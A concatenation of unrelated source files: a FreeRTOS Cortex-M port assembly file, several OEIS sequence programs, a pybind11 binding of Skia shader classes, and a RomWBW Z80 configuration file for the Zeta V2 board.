;/* ; * FreeRTOS Kernel <DEVELOPMENT BRANCH> ; * Copyright (C) 2021 Amazon.com, Inc. or its affiliates. All Rights Reserved. ; * ; * SPDX-License-Identifier: MIT ; * ; * Permission is hereby granted, free of charge, to any person obtaining a copy of ; * this software and associated documentation files (the "Software"), to deal in ; * the Software without restriction, including without limitation the rights to ; * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of ; * the Software, and to permit persons to whom the Software is furnished to do so, ; * subject to the following conditions: ; * ; * The above copyright notice and this permission notice shall be included in all ; * copies or substantial portions of the Software. ; * ; * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS ; * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR ; * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER ; * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN ; * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ; * ; * https://www.FreeRTOS.org ; * https://github.com/FreeRTOS ; * ; */ .thumb .ref pxCurrentTCB .ref vTaskSwitchContext .ref ulMaxSyscallInterruptPriority .def xPortPendSVHandler .def ulPortGetIPSR .def vPortSVCHandler .def vPortStartFirstTask NVICOffsetConst: .word 0xE000ED08 CPACRConst: .word 0xE000ED88 pxCurrentTCBConst: .word pxCurrentTCB ulMaxSyscallInterruptPriorityConst: .word ulMaxSyscallInterruptPriority ; ----------------------------------------------------------- .align 4 ulPortGetIPSR: .asmfunc mrs r0, ipsr bx r14 .endasmfunc ; ----------------------------------------------------------- .align 4 vPortSetInterruptMask: .asmfunc push {r0} ldr r0, ulMaxSyscallInterruptPriorityConst msr basepri, r0 pop {r0} bx r14 .endasmfunc ; ----------------------------------------------------------- .align 4 xPortPendSVHandler: .asmfunc mrs r0, psp isb ;/* Get the location of the current TCB. */ ldr r3, pxCurrentTCBConst ldr r2, [r3] ;/* Save the core registers. */ stmdb r0!, {r4-r11} ;/* Save the new top of stack into the first member of the TCB. */ str r0, [r2] stmdb sp!, {r3, r14} ldr r0, ulMaxSyscallInterruptPriorityConst ldr r1, [r0] msr basepri, r1 dsb isb bl vTaskSwitchContext mov r0, #0 msr basepri, r0 ldmia sp!, {r3, r14} ;/* The first item in pxCurrentTCB is the task top of stack. */ ldr r1, [r3] ldr r0, [r1] ;/* Pop the core registers. */ ldmia r0!, {r4-r11} msr psp, r0 isb bx r14 .endasmfunc ; ----------------------------------------------------------- .align 4 vPortSVCHandler: .asmfunc ;/* Get the location of the current TCB. */ ldr r3, pxCurrentTCBConst ldr r1, [r3] ldr r0, [r1] ;/* Pop the core registers. */ ldmia r0!, {r4-r11} msr psp, r0 isb mov r0, #0 msr basepri, r0 orr r14, #0xd bx r14 .endasmfunc ; ----------------------------------------------------------- .align 4 vPortStartFirstTask: .asmfunc ;/* Use the NVIC offset register to locate the stack. */ ldr r0, NVICOffsetConst ldr r0, [r0] ldr r0, [r0] ;/* Set the msp back to the start of the stack. */ msr msp, r0 ;/* Clear the bit that indicates the FPU is in use in case the FPU was used ;before the scheduler was started - which would otherwise result in the ;unnecessary leaving of space in the SVC stack for lazy saving of FPU ;registers. */ mov r0, #0 msr control, r0 ;/* Call SVC to start the first task. */ cpsie i cpsie f dsb isb svc #0 .endasmfunc ; -----------------------------------------------------------
; A157910: a(n) = 18*n^2 - 1. ; 17,71,161,287,449,647,881,1151,1457,1799,2177,2591,3041,3527,4049,4607,5201,5831,6497,7199,7937,8711,9521,10367,11249,12167,13121,14111,15137,16199,17297,18431,19601,20807,22049,23327,24641,25991,27377,28799,30257,31751,33281,34847,36449,38087,39761,41471,43217,44999,46817,48671,50561,52487,54449,56447,58481,60551,62657,64799,66977,69191,71441,73727,76049,78407,80801,83231,85697,88199,90737,93311,95921,98567,101249,103967,106721,109511,112337,115199,118097,121031,124001,127007,130049,133127,136241,139391,142577,145799,149057,152351,155681,159047,162449,165887,169361,172871,176417,179999 mov $1,2 add $1,$0 mul $1,$0 mul $1,18 add $1,17 mov $0,$1
; A017230: a(n) = (9*n + 5)^10. ; 9765625,289254654976,41426511213649,1125899906842624,13422659310152401,97656250000000000,511116753300641401,2113922820157210624,7326680472586200649,22130157888803070976,59873693923837890625,148024428491834392576,339456738992222314849,730463141542791783424,1488377021731616101801,2892546549760000000000,5393400662063408511001,9695514708609891533824,16871927924929095158449,28518499943362777317376,46958831761893056640625,75512230594040653874176,118839380482575369225049,183382804125988210868224,277921878692682183940201,414265112136490000000000,608105609331265108509601,880069171864760718721024,1256988294225653106805249,1773439455035223723467776,2473585567569732666015625,3413370261743737190219776,4663115832631376345704249,6310582221144799758337024,8464550303319308288547601,11258999068426240000000000,14857952975500019812957201,19461082905477938625332224,25310151684662980796181049,32696403157284220935602176,41969002243198805166015625,53544642343907161646949376,67918445868691693423112449,85676293555491636798029824,107508728670745863687204001,134226593101524010000000000,166778563814477267272573801,206270770162126324759527424,253988685080418137223925849,311421496354978262978200576,380289177849714310556640625,462572494903041393977982976,560546193016655269118409649,676815634502125850495386624,814357163924275931995589401,976562500000000000000000000,1167287469089518876200479401,1390905413566710403399066624,1652365627188757333968279649,1957257189115563840662142976,2311878588468864486337890625,2723313552282336906111640576,3199513511389984715762155849,3749387161243233107049447424,4382897597850229067263783801,5111167533006414010000000000,5946593117746191670096194001,6902966928504101241119309824,7995610696842977761957082449,9241518390798791533220709376,10659510283919858707509765625,12270398676954558993374642176,14097165966879236484266511049,16165155788569248814124852224,18502277985913820993752267201,21139228201572106240000000000,24109722907876309716269637601,27450750735620545201161217024,31202840992643922135499774249,35410350300235854109685579776,40121768312473392486572265625,45390043521657173353116107776,51272930192056975200093235249,57833357504222571486483841024,65139822033173179396907919601,73266804725862006490000000000,82295213586433833406065130201,92312853321965896196999348224,103414923246618199003519395049,115704544788431449577462834176,129293319990411719373525390625,144301922446043339458531557376,160860722158988106150421688449,179110445867472238946818253824,199202874425745360777540021001,221301578888030709760000000000,245582696994585495294285391801,272235751814867432349109863424,301464514359370679003984584849,333487912029464316570108952576 mul $0,9 add $0,5 pow $0,10
#include "common.h" #include <pybind11/stl.h> #define GET_SKSCALAR_PTR(pos) \ ((pos.is_none()) ? nullptr : &(pos.cast<std::vector<SkScalar>>())[0]) void initShader(py::module &m) { py::class_<SkShader, sk_sp<SkShader>, SkFlattenable> shader( m, "Shader", R"docstring( Shaders specify the source color(s) for what is being drawn. If a paint has no shader, then the paint's color is used. If the paint has a shader, then the shader's color(s) are use instead, but they are modulated by the paint's alpha. This makes it easy to create a shader once (e.g. bitmap tiling or gradient) and then change its transparency w/o having to modify the original shader... only the paint's alpha needs to be modified. .. rubric:: Subclasses .. autosummary:: :nosignatures: ~skia.Shaders ~skia.GradientShader ~skia.PerlinNoiseShader )docstring"); py::class_<SkShader::GradientInfo>(shader, "GradientInfo") .def(py::init<>()) .def_readwrite("fColorCount", &SkShader::GradientInfo::fColorCount, R"docstring( In-out parameter, specifies passed size. )docstring") .def_property_readonly("fColors", [] (const SkShader::GradientInfo& info) { return std::vector<SkColor>( info.fColors, info.fColors + info.fColorCount); }, R"docstring( The colors in the gradient. )docstring") .def_property_readonly("fColorOffsets", [] (const SkShader::GradientInfo& info) { return std::vector<SkColor>( info.fColorOffsets, info.fColorOffsets + info.fColorCount); }, R"docstring( The unit offset for color transitions. )docstring") .def_property_readonly("fPoint", [] (const SkShader::GradientInfo& info) { return py::make_tuple(info.fPoint[0], info.fPoint[1]); }, R"docstring( Type specific, see above. )docstring") .def_property_readonly("fRadius", [] (const SkShader::GradientInfo& info) { return py::make_tuple(info.fRadius[0], info.fRadius[1]); }, R"docstring( Type specific, see above. )docstring") .def_readonly("fTileMode", &SkShader::GradientInfo::fTileMode) .def_readonly("fGradientFlags", &SkShader::GradientInfo::fGradientFlags, R"docstring( see :py:class:`GradientShader.Flags` )docstring") ; py::enum_<SkShader::GradientType>(shader, "GradientType", R"docstring( If the shader subclass can be represented as a gradient, asAGradient returns the matching GradientType enum (or kNone_GradientType if it cannot). Also, if info is not null, asAGradient populates info with the relevant (see below) parameters for the gradient. fColorCount is both an input and output parameter. On input, it indicates how many entries in fColors and fColorOffsets can be used, if they are non-NULL. After asAGradient has run, fColorCount indicates how many color-offset pairs there are in the gradient. If there is insufficient space to store all of the color-offset pairs, fColors and fColorOffsets will not be altered. fColorOffsets specifies where on the range of 0 to 1 to transition to the given color. The meaning of fPoint and fRadius is dependant on the type of gradient. - None: info is ignored. Color: fColorOffsets[0] is meaningless. - Linear: fPoint[0] and fPoint[1] are the end-points of the gradient - Radial: fPoint[0] and fRadius[0] are the center and radius - Conical: fPoint[0] and fRadius[0] are the center and radius of the 1st circle fPoint[1] and fRadius[1] are the center and radius of the 2nd circle Sweep: fPoint[0] is the center of the sweep. )docstring") .value("kNone_GradientType", SkShader::GradientType::kNone_GradientType) .value("kColor_GradientType", SkShader::GradientType::kColor_GradientType) .value("kLinear_GradientType", SkShader::GradientType::kLinear_GradientType) .value("kRadial_GradientType", SkShader::GradientType::kRadial_GradientType) .value("kSweep_GradientType", SkShader::GradientType::kSweep_GradientType) .value("kConical_GradientType", SkShader::GradientType::kConical_GradientType) .value("kLast_GradientType", SkShader::GradientType::kLast_GradientType) .export_values(); shader .def("isOpaque", &SkShader::isOpaque, R"docstring( Returns true if the shader is guaranteed to produce only opaque colors, subject to the :py:class:`Paint` using the shader to apply an opaque alpha value. Subclasses should override this to allow some optimizations. )docstring") .def("isAImage", [] (const SkShader& shader, SkMatrix* localMatrix, std::vector<SkTileMode>& xy) { if (xy.size() != 2) throw std::runtime_error("xy must have two elements."); return sk_sp<SkImage>(shader.isAImage(localMatrix, &xy[0])); }, R"docstring( Iff this shader is backed by a single :py:class:`Image`, return its ptr (the caller must ref this if they want to keep it longer than the lifetime of the shader). If not, return nullptr. )docstring", py::arg("localMatrix"), py::arg("xy") = nullptr) .def("isAImage", py::overload_cast<>(&SkShader::isAImage, py::const_)) .def("asAGradient", &SkShader::asAGradient, py::arg("info")) .def("makeWithLocalMatrix", &SkShader::makeWithLocalMatrix, R"docstring( Return a shader that will apply the specified localMatrix to this shader. The specified matrix will be applied before any matrix associated with this shader. )docstring", py::arg("matrix")) .def("makeWithColorFilter", &SkShader::makeWithColorFilter, R"docstring( Create a new shader that produces the same colors as invoking this shader and then applying the colorfilter. )docstring", py::arg("colorFilter")) .def_static("Deserialize", [] (py::buffer b) { auto info = b.request(); auto shader = SkShader::Deserialize( SkFlattenable::Type::kSkShaderBase_Type, info.ptr, info.shape[0] * info.strides[0]); return sk_sp<SkShader>( reinterpret_cast<SkShader*>(shader.release())); }, py::arg("data")) ; py::class_<SkShaders>(m, "Shaders") .def_static("Empty", &SkShaders::Empty) .def_static("Color", py::overload_cast<SkColor>(&SkShaders::Color), py::arg("color")) .def_static("Color", [] (const SkColor4f& color, const SkColorSpace& cs) { return SkShaders::Color(color, CloneFlattenable(cs)); }, py::arg("color"), py::arg("cs") = nullptr) .def_static("Blend", [] (SkBlendMode mode, const SkShader& dst, const SkShader& src) { return SkShaders::Blend( mode, CloneFlattenable(dst), CloneFlattenable(src)); }, py::arg("mode"), py::arg("dst"), py::arg("src")) .def_static("Lerp", [] (SkScalar t, const SkShader& dst, const SkShader& src) { return SkShaders::Lerp( t, CloneFlattenable(dst), CloneFlattenable(src)); }, py::arg("t"), py::arg("dst"), py::arg("src")) ; py::class_<SkGradientShader> gradientshader(m, "GradientShader"); py::enum_<SkGradientShader::Flags>(gradientshader, "Flags", py::arithmetic()) .value("kInterpolateColorsInPremul_Flag", SkGradientShader::Flags::kInterpolateColorsInPremul_Flag) .export_values(); gradientshader .def_static("MakeLinear", [] (const std::vector<SkPoint>& pts, const std::vector<SkColor>& colors, py::object pos, SkTileMode mode, uint32_t flags, const SkMatrix* localMatrix) { if (pts.size() != 2) throw std::runtime_error("pts must have two elements."); if (colors.size() < 2) throw std::runtime_error("length of colors must be 2 or more."); return SkGradientShader::MakeLinear( &pts[0], &colors[0], GET_SKSCALAR_PTR(pos), colors.size(), mode, flags, localMatrix); }, R"docstring( Returns a shader that generates a linear gradient between the two specified points. :param List[skia.Point] points: The start and end points for the gradient. :param List[int] colors: The array of colors, to be distributed between the two points :param List[float] positions: May be empty list. array of Scalars, or NULL, of the relative position of each corresponding color in the colors array. If this is NULL, the the colors are distributed evenly between the start and end point. If this is not null, the values must begin with 0, end with 1.0, and intermediate values must be strictly increasing. :param skia.TileMode mode: The tiling mode :param localMatrix: Local matrix )docstring", py::arg("points"), py::arg("colors"), py::arg("positions") = nullptr, py::arg("mode") = SkTileMode::kClamp, py::arg("flags") = 0, py::arg("localMatrix") = nullptr) .def_static("MakeRadial", [] (const SkPoint& center, SkScalar radius, const std::vector<SkColor>& colors, py::object pos, SkTileMode mode, uint32_t flags, const SkMatrix* localMatrix) { if (colors.size() < 2) throw std::runtime_error("length of colors must be 2 or more."); return SkGradientShader::MakeRadial( center, radius, &colors[0], GET_SKSCALAR_PTR(pos), colors.size(), mode, flags, localMatrix); }, R"docstring( Returns a shader that generates a radial gradient given the center and radius. :param skia.Point center: The center of the circle for this gradient :param float radius: Must be positive. The radius of the circle for this gradient :param List[int] colors: The array of colors, to be distributed between the center and edge of the circle :param List[float] positions: May be empty list. The array of Scalars, or NULL, of the relative position of each corresponding color in the colors array. If this is NULL, the the colors are distributed evenly between the center and edge of the circle. If this is not null, the values must begin with 0, end with 1.0, and intermediate values must be strictly increasing. :param skia.TileMode mode: The tiling mode :param localMatrix: Local matrix )docstring", py::arg("center"), py::arg("radius"), py::arg("colors"), py::arg("positions") = nullptr, py::arg("mode") = SkTileMode::kClamp, py::arg("flags") = 0, py::arg("localMatrix") = nullptr) .def_static("MakeTwoPointConical", [] (const SkPoint& start, SkScalar startRadius, const SkPoint& end, SkScalar endRadius, const std::vector<SkColor>& colors, py::object pos, SkTileMode mode, uint32_t flags, const SkMatrix *localMatrix) { if (colors.size() < 2) throw std::runtime_error("length of colors must be 2 or more."); return SkGradientShader::MakeTwoPointConical( start, startRadius, end, endRadius, &colors[0], GET_SKSCALAR_PTR(pos), colors.size(), mode, flags, localMatrix); }, R"docstring( Returns a shader that generates a conical gradient given two circles, or returns NULL if the inputs are invalid. The gradient interprets the two circles according to the following HTML spec. http://dev.w3.org/html5/2dcontext/#dom-context-2d-createradialgradient )docstring", py::arg("start"), py::arg("startRadius"), py::arg("end"), py::arg("endRadius"), py::arg("colors"), py::arg("positions") = nullptr, py::arg("mode") = SkTileMode::kClamp, py::arg("flags") = 0, py::arg("localMatrix") = nullptr) .def_static("MakeSweep", [] (SkScalar cx, SkScalar cy, const std::vector<SkColor>& colors, py::object pos, SkTileMode mode, SkScalar startAngle, SkScalar endAngle, uint32_t flags, const SkMatrix *localMatrix) { if (colors.size() < 2) throw std::runtime_error("length of colors must be 2 or more."); return SkGradientShader::MakeSweep( cx, cy, &colors[0], GET_SKSCALAR_PTR(pos), colors.size(), mode, startAngle, endAngle, flags, localMatrix); }, R"docstring( Returns a shader that generates a conical gradient given two circles, or returns NULL if the inputs are invalid. The gradient interprets the two circles according to the following HTML spec. http://dev.w3.org/html5/2dcontext/#dom-context-2d-createradialgradient )docstring", py::arg("cx"), py::arg("cy"), py::arg("colors"), py::arg("positions") = nullptr, py::arg("mode") = SkTileMode::kClamp, py::arg("startAngle") = 0, py::arg("endAngle") = 360, py::arg("flags") = 0, py::arg("localMatrix") = nullptr) ; py::class_<SkPerlinNoiseShader>(m, "PerlinNoiseShader", R"docstring( :py:class:`PerlinNoiseShader` creates an image using the Perlin turbulence function. It can produce tileable noise if asked to stitch tiles and provided a tile size. In order to fill a large area with repeating noise, set the stitchTiles flag to true, and render exactly a single tile of noise. Without this flag, the result will contain visible seams between tiles. The algorithm used is described here: http://www.w3.org/TR/SVG/filters.html#feTurbulenceElement )docstring") .def_static("MakeFractalNoise", &SkPerlinNoiseShader::MakeFractalNoise, R"docstring( This will construct Perlin noise of the given type (Fractal Noise or Turbulence). Both base frequencies (X and Y) have a usual range of (0..1) and must be non-negative. The number of octaves provided should be fairly small, with a limit of 255 enforced. Each octave doubles the frequency, so 10 octaves would produce noise from baseFrequency * 1, * 2, * 4, ..., * 512, which quickly yields insignificantly small periods and resembles regular unstructured noise rather than Perlin noise. If tileSize isn't NULL or an empty size, the tileSize parameter will be used to modify the frequencies so that the noise will be tileable for the given tile size. If tileSize is NULL or an empty size, the frequencies will be used as is without modification. )docstring", py::arg("baseFrequencyX"), py::arg("baseFrequencyY"), py::arg("numOctaves"), py::arg("seed"), py::arg("tileSize") = nullptr) .def_static("MakeTurbulence", &SkPerlinNoiseShader::MakeTurbulence, py::arg("baseFrequencyX"), py::arg("baseFrequencyY"), py::arg("numOctaves"), py::arg("seed"), py::arg("tileSize") = nullptr) .def_static("MakeImprovedNoise", &SkPerlinNoiseShader::MakeImprovedNoise, R"docstring( Creates an Improved Perlin Noise shader. The z value is roughly equivalent to the seed of the other two types, but minor variations to z will only slightly change the noise. )docstring", py::arg("baseFrequencyX"), py::arg("baseFrequencyY"), py::arg("numOctaves"), py::arg("z")) ; }
; A194391: Numbers m such that Sum_{k=1..m} (<1/2 + k*r> - <k*r>) > 0, where r=sqrt(12) and < > denotes fractional part. ; 1,3,5,7,9,11,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,29,31,33,35,37,39,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,57,59,61,63,65,67,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,85,87,89,91,93 mov $2,$0 add $2,1 lpb $2 mov $0,$6 sub $2,1 sub $0,$2 mov $3,8 mov $4,2 mov $8,2 lpb $0 add $3,8 div $3,2 mod $5,$4 mov $7,$0 mov $0,0 sub $3,2 add $5,5 div $7,7 mul $8,$7 gcd $8,$3 mul $8,$5 lpe div $8,28 add $8,1 add $1,$8 lpe
; ;================================================================================================== ; ROMWBW 2.X CONFIGURATION DEFAULTS FOR ZETA V2 ;================================================================================================== ; ; THIS FILE CONTAINS THE FULL SET OF DEFAULT CONFIGURATION SETTINGS FOR THE PLATFORM ; INDICATED ABOVE. THIS FILE SHOULD *NOT* NORMALLY BE CHANGED. INSTEAD, YOU SHOULD ; OVERRIDE ANY SETTINGS YOU WANT USING A CONFIGURATION FILE IN THE CONFIG DIRECTORY ; UNDER THIS DIRECTORY. ; ; THIS FILE CAN BE CONSIDERED A REFERENCE THAT LISTS ALL POSSIBLE CONFIGURATION SETTINGS ; FOR THE PLATFORM. ; #DEFINE PLATFORM_NAME "ZETA V2" ; PLATFORM .EQU PLT_ZETA2 ; PLT_[SBC|ZETA|ZETA2|N8|MK4|UNA|RCZ80|RCZ180|EZZ80|SCZ180|DYNO] CPUFAM .EQU CPU_Z80 ; CPU FAMILY: CPU_[Z80|Z180|Z280] BIOS .EQU BIOS_WBW ; HARDWARE BIOS: BIOS_[WBW|UNA] BATCOND .EQU FALSE ; ENABLE LOW BATTERY WARNING MESSAGE HBIOS_MUTEX .EQU FALSE ; ENABLE REENTRANT CALLS TO HBIOS (ADDS OVERHEAD) USELZSA2 .EQU TRUE ; ENABLE FONT COMPRESSION TICKFREQ .EQU 50 ; DESIRED PERIODIC TIMER INTERRUPT FREQUENCY (HZ) ; BOOT_TIMEOUT .EQU -1 ; AUTO BOOT TIMEOUT IN SECONDS, -1 TO DISABLE, 0 FOR IMMEDIATE ; CPUOSC .EQU 20000000 ; CPU OSC FREQ IN MHZ INTMODE .EQU 2 ; INTERRUPTS: 0=NONE, 1=MODE 1, 2=MODE 2 DEFSERCFG .EQU SER_38400_8N1 ; DEFAULT SERIAL LINE CONFIG (SEE STD.ASM) ; RAMSIZE .EQU 512 ; SIZE OF RAM IN KB (MUST MATCH YOUR HARDWARE!!!) RAM_RESERVE .EQU 0 ; RESERVE FIRST N KB OF RAM (USUALLY 0) ROM_RESERVE .EQU 0 ; RESERVE FIRST N KB OR ROM (USUALLY 0) MEMMGR .EQU MM_Z2 ; MEMORY MANAGER: MM_[SBC|Z2|N8|Z180|Z280] MPGSEL_0 .EQU $78 ; Z2 MEM MGR BANK 0 PAGE SELECT REG (WRITE ONLY) MPGSEL_1 .EQU $79 ; Z2 MEM MGR BANK 1 PAGE SELECT REG (WRITE ONLY) MPGSEL_2 .EQU $7A ; Z2 MEM MGR BANK 2 PAGE SELECT REG (WRITE ONLY) MPGSEL_3 .EQU $7B ; Z2 MEM MGR BANK 3 PAGE SELECT REG (WRITE ONLY) MPGENA .EQU $7C ; Z2 MEM MGR PAGING ENABLE REGISTER (BIT 0, WRITE ONLY) ; RTCIO .EQU $70 ; RTC LATCH REGISTER ADR PPIBASE .EQU $60 ; PRIMARY PARALLEL PORT REGISTERS BASE ADR ; KIOENABLE .EQU FALSE ; ENABLE ZILOG KIO SUPPORT KIOBASE .EQU $80 ; KIO BASE I/O ADDRESS ; CTCENABLE .EQU TRUE ; ENABLE ZILOG CTC SUPPORT CTCDEBUG .EQU FALSE ; ENABLE CTC DRIVER DEBUG OUTPUT CTCBASE .EQU $20 ; CTC BASE I/O ADDRESS CTCTIMER .EQU TRUE ; ENABLE CTC PERIODIC TIMER CTCMODE .EQU CTCMODE_CTR ; CTC MODE: CTCMODE_[NONE|CTR|TIM16|TIM256] CTCPRE .EQU 256 ; PRESCALE CONSTANT (1-256) CTCPRECH .EQU 0 ; PRESCALE CHANNEL (0-3) CTCTIMCH .EQU 1 ; TIMER CHANNEL (0-3) CTCOSC .EQU 921600 ; CTC CLOCK FREQUENCY ; EIPCENABLE .EQU FALSE ; EIPC: ENABLE Z80 EIPC (Z84C15) INITIALIZATION ; SKZENABLE .EQU FALSE ; ENABLE SERGEY'S Z80-512K FEATURES ; WDOGMODE .EQU WDOG_NONE ; WATCHDOG MODE: WDOG_[NONE|EZZ80|SKZ] ; DIAGENABLE .EQU FALSE ; ENABLES OUTPUT TO 8 BIT LED DIAGNOSTIC PORT DIAGPORT .EQU $00 ; DIAGNOSTIC PORT ADDRESS DIAGDISKIO .EQU TRUE ; ENABLES DISK I/O ACTIVITY ON DIAGNOSTIC LEDS ; LEDENABLE .EQU FALSE ; ENABLES STATUS LED (SINGLE LED) LEDPORT .EQU $0E ; STATUS LED PORT ADDRESS LEDDISKIO .EQU TRUE ; ENABLES DISK I/O ACTIVITY ON STATUS LED ; DSKYENABLE .EQU FALSE ; ENABLES DSKY (DO NOT COMBINE WITH PPIDE) ; BOOTCON .EQU 0 ; BOOT CONSOLE DEVICE CRTACT .EQU FALSE ; ACTIVATE CRT (VDU,CVDU,PROPIO,ETC) AT STARTUP VDAEMU .EQU EMUTYP_ANSI ; VDA EMULATION: EMUTYP_[TTY|ANSI] ANSITRACE .EQU 1 ; ANSI DRIVER TRACE LEVEL (0=NO,1=ERRORS,2=ALL) MKYENABLE .EQU FALSE ; MSX 5255 PPI KEYBOARD COMPATIBLE DRIVER (REQUIRES TMS VDA DRIVER) ; DSRTCENABLE .EQU TRUE ; DSRTC: ENABLE DS-1302 CLOCK DRIVER (DSRTC.ASM) DSRTCMODE .EQU DSRTCMODE_STD ; DSRTC: OPERATING MODE: DSRTC_[STD|MFPIC] DSRTCCHG .EQU FALSE ; DSRTC: FORCE BATTERY CHARGE ON (USE WITH CAUTION!!!) ; BQRTCENABLE .EQU FALSE ; BQRTC: ENABLE BQ4845 CLOCK DRIVER (BQRTC.ASM) BQRTC_BASE .EQU $50 ; BQRTC: I/O BASE ADDRESS ; INTRTCENABLE .EQU FALSE ; ENABLE PERIODIC INTERRUPT CLOCK DRIVER (INTRTC.ASM) ; RP5RTCENABLE .EQU FALSE ; RP5C01 RTC BASED CLOCK (RP5RTC.ASM) ; HTIMENABLE .EQU FALSE ; ENABLE SIMH TIMER SUPPORT SIMRTCENABLE .EQU FALSE ; ENABLE SIMH CLOCK DRIVER (SIMRTC.ASM) ; DS7RTCENABLE .EQU FALSE ; DS7RTC: ENABLE DS-1307 I2C CLOCK DRIVER (DS7RTC.ASM) DS7RTCMODE .EQU DS7RTCMODE_PCF ; DS7RTC: OPERATING MODE: DS7RTC_[PCF] ; DUARTENABLE .EQU FALSE ; DUART: ENABLE 2681/2692 SERIAL DRIVER (DUART.ASM) ; UARTENABLE .EQU TRUE ; UART: ENABLE 8250/16550-LIKE SERIAL DRIVER (UART.ASM) UARTOSC .EQU 1843200 ; UART: OSC FREQUENCY IN MHZ UARTCFG .EQU DEFSERCFG ; UART: LINE CONFIG FOR UART PORTS UARTCASSPD .EQU SER_300_8N1 ; UART: ECB CASSETTE UART DEFAULT SPEED UARTSBC .EQU TRUE ; UART: AUTO-DETECT SBC/ZETA ONBOARD UART UARTCAS .EQU FALSE ; UART: AUTO-DETECT ECB CASSETTE UART UARTMFP .EQU FALSE ; UART: AUTO-DETECT MF/PIC UART UART4 .EQU FALSE ; UART: AUTO-DETECT 4UART UART UARTRC .EQU FALSE ; UART: AUTO-DETECT RC UART ; ASCIENABLE .EQU FALSE ; ASCI: ENABLE Z180 ASCI SERIAL DRIVER (ASCI.ASM) ; Z2UENABLE .EQU FALSE ; Z2U: ENABLE Z280 UART SERIAL DRIVER (Z2U.ASM) ; ACIAENABLE .EQU FALSE ; ACIA: ENABLE MOTOROLA 6850 ACIA DRIVER (ACIA.ASM) ; SIOENABLE .EQU FALSE ; SIO: ENABLE ZILOG SIO SERIAL DRIVER (SIO.ASM) ; XIOCFG .EQU DEFSERCFG ; XIO: SERIAL LINE CONFIG ; VDUENABLE .EQU FALSE ; VDU: ENABLE VDU VIDEO/KBD DRIVER (VDU.ASM) CVDUENABLE .EQU FALSE ; CVDU: ENABLE CVDU VIDEO/KBD DRIVER (CVDU.ASM) NECENABLE .EQU FALSE ; NEC: ENABLE NEC UPD7220 VIDEO/KBD DRIVER (NEC.ASM) TMSENABLE .EQU FALSE ; TMS: ENABLE TMS9918 VIDEO/KBD DRIVER (TMS.ASM) TMSTIMENABLE .EQU FALSE ; TMS: ENABLE TIMER INTERRUPTS (REQUIRES IM1) VGAENABLE .EQU FALSE ; VGA: ENABLE VGA VIDEO/KBD DRIVER (VGA.ASM) ; MDENABLE .EQU TRUE ; MD: ENABLE MEMORY (ROM/RAM) DISK DRIVER (MD.ASM) MDROM .EQU TRUE ; MD: ENABLE ROM DISK MDRAM .EQU TRUE ; MD: ENABLE RAM DISK MDTRACE .EQU 1 ; MD: TRACE LEVEL (0=NO,1=ERRORS,2=ALL) MDFFENABLE .EQU FALSE ; MD: ENABLE FLASH FILE SYSTEM ; FDENABLE .EQU TRUE ; FD: ENABLE FLOPPY DISK DRIVER (FD.ASM) FDMODE .EQU FDMODE_ZETA2 ; FD: DRIVER MODE: FDMODE_[DIO|ZETA|ZETA2|DIDE|N8|DIO3|RCSMC|RCWDC|DYNO|EPWDC] FDCNT .EQU 1 ; FD: NUMBER OF FLOPPY DRIVES ON THE INTERFACE (1-2) FDTRACE .EQU 1 ; FD: TRACE LEVEL (0=NO,1=FATAL,2=ERRORS,3=ALL) FDMEDIA .EQU FDM144 ; FD: DEFAULT MEDIA FORMAT FDM[720|144|360|120|111] FDMEDIAALT .EQU FDM720 ; FD: ALTERNATE MEDIA FORMAT FDM[720|144|360|120|111] FDMAUTO .EQU TRUE ; FD: AUTO SELECT DEFAULT/ALTERNATE MEDIA FORMATS ; RFENABLE .EQU FALSE ; RF: ENABLE RAM FLOPPY DRIVER ; IDEENABLE .EQU FALSE ; IDE: ENABLE IDE DISK DRIVER (IDE.ASM) ; PPIDEENABLE .EQU FALSE ; PPIDE: ENABLE PARALLEL PORT IDE DISK DRIVER (PPIDE.ASM) PPIDETRACE .EQU 1 ; PPIDE: TRACE LEVEL (0=NO,1=ERRORS,2=ALL) PPIDECNT .EQU 1 ; PPIDE: NUMBER OF PPI CHIPS TO DETECT (1-3), 2 DRIVES PER CHIP PPIDE0BASE .EQU $60 ; PPIDE 0: PPI REGISTERS BASE ADR PPIDE0A8BIT .EQU FALSE ; PPIDE 0A (MASTER): 8 BIT XFER PPIDE0B8BIT .EQU FALSE ; PPIDE 0B (SLAVE): 8 BIT XFER ; SDENABLE .EQU FALSE ; SD: ENABLE SD CARD DISK DRIVER (SD.ASM) SDMODE .EQU SDMODE_PPI ; SD: DRIVER MODE: SDMODE_[JUHA|N8|CSIO|PPI|UART|DSD|MK4|SC|MT] SDCNT .EQU 1 ; SD: NUMBER OF SD CARD DEVICES (1-2), FOR DSD & SC ONLY SDTRACE .EQU 1 ; SD: TRACE LEVEL (0=NO,1=ERRORS,2=ALL) SDCSIOFAST .EQU FALSE ; SD: ENABLE TABLE-DRIVEN BIT INVERTER IN CSIO MODE ; PRPENABLE .EQU FALSE ; PRP: ENABLE ECB PROPELLER IO BOARD DRIVER (PRP.ASM) ; PPPENABLE .EQU FALSE ; PPP: ENABLE ZETA PARALLEL PORT PROPELLER BOARD DRIVER (PPP.ASM) PPPSDENABLE .EQU TRUE ; PPP: ENABLE PPP DRIVER SD CARD SUPPORT PPPSDTRACE .EQU 1 ; PPP: SD CARD TRACE LEVEL (0=NO,1=ERRORS,2=ALL) PPPCONENABLE .EQU TRUE ; PPP: ENABLE PPP DRIVER VIDEO/KBD SUPPORT ; HDSKENABLE .EQU FALSE ; HDSK: ENABLE SIMH HDSK DISK DRIVER (HDSK.ASM) ; PIO_4P .EQU FALSE ; PIO: ENABLE PARALLEL PORT DRIVER FOR ECB 4P BOARD PIO_ZP .EQU FALSE ; PIO: ENABLE PARALLEL PORT DRIVER FOR ECB ZILOG PERIPHERALS BOARD (PIO.ASM) 